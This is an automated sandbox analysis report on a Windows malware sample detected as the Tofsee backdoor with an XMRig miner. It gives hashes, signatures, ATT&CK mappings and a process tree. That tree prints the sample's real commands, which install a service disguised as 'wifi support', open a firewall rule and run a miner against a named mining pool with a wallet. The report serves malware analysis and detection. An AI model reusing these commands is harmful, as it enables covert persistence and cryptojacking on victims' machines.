Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13-02-2021 11:30

General

  • Target

    keevgpgi.exe

  • Size

    11.6MB

  • MD5

    cecab87eece6151682a5dffe04831bb6

  • SHA1

    e3d6a4c3d0f25f63abf5aa5c906da1b681462714

  • SHA256

    27a880b8a04d59fa74e9ca0c7db57718599f1efca0c593739c12cb1fad9040dc

  • SHA512

    1d39a758f9415b493fee4bc0921bfa627d2939d21386a7cd3b9b8f216d75e5025a5f3ff6414b6bfaf2a8acac817cf42a77005677e99ff10094572318a4933ebd

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe
    "C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gdaqexac\
      2⤵
        PID:1732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\luotlkfb.exe" C:\Windows\SysWOW64\gdaqexac\
        2⤵
          PID:1400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gdaqexac binPath= "C:\Windows\SysWOW64\gdaqexac\luotlkfb.exe /d\"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1628
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gdaqexac "wifi internet conection"
            2⤵
              PID:1500
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gdaqexac
              2⤵
                PID:1712
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1128
              • C:\Windows\SysWOW64\gdaqexac\luotlkfb.exe
                C:\Windows\SysWOW64\gdaqexac\luotlkfb.exe /d"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1312
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1620

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\luotlkfb.exe
                MD5

                dc3e7093c5147d8cfe3798912d04ef84

                SHA1

                ffc2a3243ccea493dea7ff7885f9f6ce57f9779f

                SHA256

                da82c69b5a7efc2430ac9d2bbb95522414ea252aca64ec39a9ac57eb01ce6818

                SHA512

                c801c50f7a91eb15adaa7284b300f04fd6679f394b2ae4013d6e6694766ff87e5c70d056c98eaa41154566ebba391106deaa5a6ea481801e5761d9769ef327be

              • C:\Windows\SysWOW64\gdaqexac\luotlkfb.exe
                MD5

                dc3e7093c5147d8cfe3798912d04ef84

                SHA1

                ffc2a3243ccea493dea7ff7885f9f6ce57f9779f

                SHA256

                da82c69b5a7efc2430ac9d2bbb95522414ea252aca64ec39a9ac57eb01ce6818

                SHA512

                c801c50f7a91eb15adaa7284b300f04fd6679f394b2ae4013d6e6694766ff87e5c70d056c98eaa41154566ebba391106deaa5a6ea481801e5761d9769ef327be

              • memory/1108-3-0x00000000760D1000-0x00000000760D3000-memory.dmp
                Filesize

                8KB

              • memory/1108-6-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/1108-5-0x0000000000020000-0x0000000000033000-memory.dmp
                Filesize

                76KB

              • memory/1108-2-0x0000000000940000-0x0000000000951000-memory.dmp
                Filesize

                68KB

              • memory/1128-13-0x0000000000000000-mapping.dmp
              • memory/1312-17-0x00000000000D0000-0x00000000000E5000-memory.dmp
                Filesize

                84KB

              • memory/1312-25-0x00000000001C0000-0x00000000001D0000-memory.dmp
                Filesize

                64KB

              • memory/1312-24-0x0000000000080000-0x0000000000086000-memory.dmp
                Filesize

                24KB

              • memory/1312-23-0x0000000001C00000-0x0000000001E0F000-memory.dmp
                Filesize

                2.1MB

              • memory/1312-18-0x00000000000D9A6B-mapping.dmp
              • memory/1400-7-0x0000000000000000-mapping.dmp
              • memory/1500-10-0x0000000000000000-mapping.dmp
              • memory/1620-26-0x0000000000180000-0x0000000000271000-memory.dmp
                Filesize

                964KB

              • memory/1620-28-0x000000000021259C-mapping.dmp
              • memory/1628-9-0x0000000000000000-mapping.dmp
              • memory/1636-15-0x0000000000920000-0x0000000000931000-memory.dmp
                Filesize

                68KB

              • memory/1636-21-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/1712-11-0x0000000000000000-mapping.dmp
              • memory/1732-4-0x0000000000000000-mapping.dmp